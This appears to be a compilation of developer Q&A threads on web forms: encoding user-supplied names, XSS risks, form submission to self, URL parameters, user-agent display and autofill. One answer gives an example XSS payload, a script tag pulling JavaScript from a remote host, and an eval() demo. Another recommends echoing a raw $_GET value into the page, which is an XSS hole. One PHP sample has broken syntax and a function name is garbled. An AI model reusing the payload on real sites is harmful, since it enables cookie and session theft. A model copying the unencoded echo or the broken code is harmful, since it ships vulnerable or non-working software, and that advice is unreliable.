I have a site where users upload content and they can name what they upload. Some users have included "&" in their name and I get an html validation error. Is there any way to allow the "&" to stay and yet also validate the page? This would be very helpful. If not, what other measures can I take to allow my page to validate? Thanks!
No, there is no way to make the page validate with invalid content.
And, YOU SHOULD NOT DISPLAY THE CONTENT WITHOUT ENCODING IT PROPERLY!
Sorry for shouting, but your site is wide open for cross site scripting attacks. Anyone can put harmful content in a name, and it will be run in other peoples browsers.
How you do this depends on what platform you are using. For example in ASP.NET webforms you would use the Server.HtmlEncode method to HTML encode the string. In ASP.NET MVC you would use the same, or simply the <%: %> server tag that does that automatically.
In php you will want to use the htmlentities method:
<?= htmlentities($username, ENT_QUOTES) ?>
Which will output me&myself (the correct way to display the value on the html page) if the user had entered me&myself
ALWAYS ALWAYS ALWAYS sanitize user inputs. Never trust any data that a client's browser has sent you. If someone entered something in a form field, NEVER stick it directly in a database query (sanitize it with something like my_real_escape_string($user_input)). Never print text to the browser directly if it was originally submitted by a client, always escape it (with htmlentities).
The reason you do this is because malicious users could execute cross-site scripting attacks on your site by submitting data that fires some javascript, and phishes or steals data from your other customers. If I set my name to <script type='javascript' src='http://mysite.com/bad-js.js' /> then anyone that loaded that page would have that unknown and potentially malicious javascript execute on their browser with access to their cookies and their session.
Related
Let's say a user adds some PHP code <?php //code here ?> into an input text tag (which they aren't supposed to in this case), would the opening and closing tags be converted into < and > or would they remain as they are like in a contenteditable div?
User input is just raw text attached to a property in the DOM.
It isn't HTML, PHP, or anything else until something is done with it (such as a form being submitted or JavaScript reading the property and manipulating it).
The raw text will reside in the standard HTML input and the PHP code a users enters will not be executed.
However depending on what your code does with it (send it to a database or web service), an attacker may potentially be able to perform an attack if it is not sanitized correctly.
Therefore, you should always aim to sanitize user input, both at the client and server side level, especially if it fires off to a database.
Different frameworks will support Sanitization. In PHP, you have access to the following sanitization filters.
For reference, you should also be aware of other attacks such as SQL injection/XSS. I would recommend looking at the OWASP top 10 which outlines some common web attacks and discusses PHP filters.
I have created a very basic example of reflecting back user input here which could happen if the attacker manages to save malicious code in your database:
var text = document.getElementById("test").value;
eval(text);
<input id="test" type="text" value="alert('I have access to you document cookies and could use a windows redirection here')" />
I tried to look through SO for similar question but I couldn't find one, also searched through the web with my best effort, sorry if it's a silly/duplicate question
The focus of my question is :
If I have a form with a unencoded password in it, is it "safe" to pass the form back to [self] i.e. <form action="">
EDIT: I would like to focus on security regarding third parties, assuming the user himself is NOT the hacker.
I this is a broad question, so I would like to narrow it down to:
does server handle submit form to self as a internal-forward thing or do it actually treat is as a normal server-to-server http call?
Is it possible to somehow intercept the form submit and extract the password from this action? (including things like tapping the connect between server and client??)
If anyone knows any potential security problem in general for [submit to self], feel free to leave it as answer so that future SO user might benefit from it, thanks.
The only thing safe regarding submitting data to a webpage is to never trust the users input.
Now regarding your 2 questions:
submitting the form will be handled as a regular request, albeit a POST request probably.
internet traffic can be captured, so if you're sending password data over the internet you'd better make sure it's over HTTPS.
Using a developer tool like Mozilla's FireBug it's pretty easy to change all the data that is submitted through the form. You don't even have to use your webpage, one can easily spoof a POST request to your page by using a tool like Telnet.
So I'd say it doesn't really matter what the action of the form is; use HTTPS if possible and always validate the input...
Whether you submit your form to the same page or not has no security implications. There are many other things you can/should do to secure your forms. Submitting-to-self is irrelevant. It could however pose a UX annoyance. Have you ever tried refreshing a page only to have the browser try to resubmit the form.
Not a redirect. Normal post. However to mitigate this UX annoyance I
mentioned, you would redirect to the same page after doing whatever
you need to to with the data.
It depends on many other things other than whether the form submits to itself or not. Starting with is your form on a secure (https) server.
I was just searching for this types of posts.
Yeah..
As far as i know, this is not a valid approach,
attacker can change the methods to download the content like he can use the parameters from POST to GET.
We actually have tools like tamper data which is an addon to the firefox browser. We can post the data or tamper the data which is in form submit. You can add this addon to your browser and you can check out that the data can be modified by clicking tamper before submitting the form. You can also check out the online http tampers, tamper data, modifying live headers to change your data. This may also result in sql injection.
Correct me if im wrong. :)
Cheers.
After many updates:
The action="" is the same as action="somefile" in sense of security. So there is nothing wrong with action="", and as far I know most websites treats forms like that. The most popular solution is to:
At first check with PHP if there is any post data
Check if this data is OK (safety, server side verification)
Make something with data (save to database, mail to someone)
Render the form with action="".
A quick example:
<?php
$name = '';
if (isset $_POST['name']) {
$name = $_POST['name'];
if (ctype_alpha(str_replace(' ', '', $name)) !== false) { // verify data
// in that case name consist only letters and spaces, it is ok.
// do something with data here, for example save to database
header('Location: successfile'); // Remove post data after all
}
}
// render form
$name = htmlspecialchars($name); // if name was in POST, here it is!
echo '<form action="" method="post" />'
echo '<label id="name" name="name" value="'.$name.'" />';
echo '</form>';
?>
In that case one file is doing two jobs. It checks for data and do something with it, and render form.
Please, remember that the form can be rendered using the "partly" data from submit (POST). So for example if someone enter his name with special characters, while you need name only with letters and spaces, the data is not missed. You can render form, and in input name value, you can enter the wrong posted data.
So the form "remember" what was filled, and what was not filled.
Hope it helps
I have an email digest that is sent daily to users of my website and contains links to things on the site so that they can easily get right in and start interacting from their email. Trouble is, if they click more than one link, they're going to be opening more than one browser and the non-technical user might not catch that and end up having to close a bunch of tabs/browsers when they're done on the site. I want all the links in the email digest to be opened in the same window/tab.
I know that if you have an href you can set target=my_window and the links will open in that window. I'm wondering if there's a URL parameter that can be used instead of editing the a tag.
No. I don’t know of any browser (or other user agent) that associates any special behaviours with link query strings. The query string is for the server receiving the HTTP request to deal with.
As you say in your question, the target attribute is the method for controlling (or at least suggesting) what window the link should open in.
Can you use the window.open method?
Reference: window.open(url, name, features, replace);
It allows a browser window to be named, and thus reused when clicking on new links that are formatted to work with the window.open syntax.
Example: link
Status Update: Note you can search for many window.open(); Online Generators to help build the look of the opened window. It's important to test the desired look in all browsers, as the Address Bar in each browser is rendered differently.
The short answer is no. This behavior you are talking about is strictly client side, controlled by the browser. The application running on the web server is responsible for reacting to the query string.
Do you not have control over the template of the e-mails that are sent? It should be trivial to add the target to the appropriate anchors.
You can use PHP to catch custom URL parameters.
Say you have a link like:
www.yoursite.com/somepage.php?title=Some Page Title Here
The paramater string in the URL starts with ?something=somevalue and can be chained with the & symbol (e.g. ?something=somevalue&somethingelse=someothervalue) etc.
You can then ad this PHP to the top of your page:
<?php $title = $_GET['title']; ?>
Then for your title tag put the following:
<title><?php echo $title; ?></title>
You would add another variable with the value of the param for each param you want to pass in to the page. But for what you're trying to do, the above code will work.
Like you can go on http://whatsmyuseragent.com/ website and see what user agent you are coming from. I need the similar feature on my website. I tried to view source and didn't find nothing. I am basically looking forward for the html code to find the user agent of people that come on my website, I am just debugging at this point. I am looking to put the coding on my home page so that I can confirm what device the user is coming from. Can anyone help me with this?
HTML is not a programming language. It has no means to get this information.
The proper approach is to read the User-Agent HTTP header using a server side language (and optional web framework) of your preference (e.g. in Perl/Catalyst), and then output it to the page (after sanitizing it to make it HTML safe).
Similar data is also available to client side JavaScript via the navigator object.
The user agent can be whatever the user wants it to be - so don't rely on this for security.
From the client side, you could use some JavaScript in your HTML:
<script language="javascript">
document.write(navigator.userAgent);
</script>
I don't recommend using document.write though.
For the mentioned web site, they're likely checking server side with the HTTP header. To grab this in PHP, you can use:
$ua = $_SERVER['HTTP_USER_AGENT'];
But as Quentin said, sanitise this as it could output anything the user likes.
I've noticed that browsers don't recognize my password field as a potential auto-complete target. I'm assuming this has something to do with the fact that the password field isn't in the original HTML - it's created by my GWT script after the page has loaded.
Is there a way to tell a browser, "hey, here's this form, treat it like usual?" How can I let browsers hook into my app for autofill?
There are some workarounds to get the browser to auto-complete your login like the one described here.
After struggling some time with it I strongly suggest you simply wrap an existing form of your host page (do not generate the inputs with GWT), do a form.submit() on it and have a servlet listen to the request.
I believe that password fields ( tags with type="password") are not auto-filled for fairly obvious security reasons. It doesn't matter that the field is added after page load by your GWT script.
Try mimicking the field in regular HTML and compare that to how your GWT app creates the DOM structure. Perhaps your GWT app is putting the page together differently?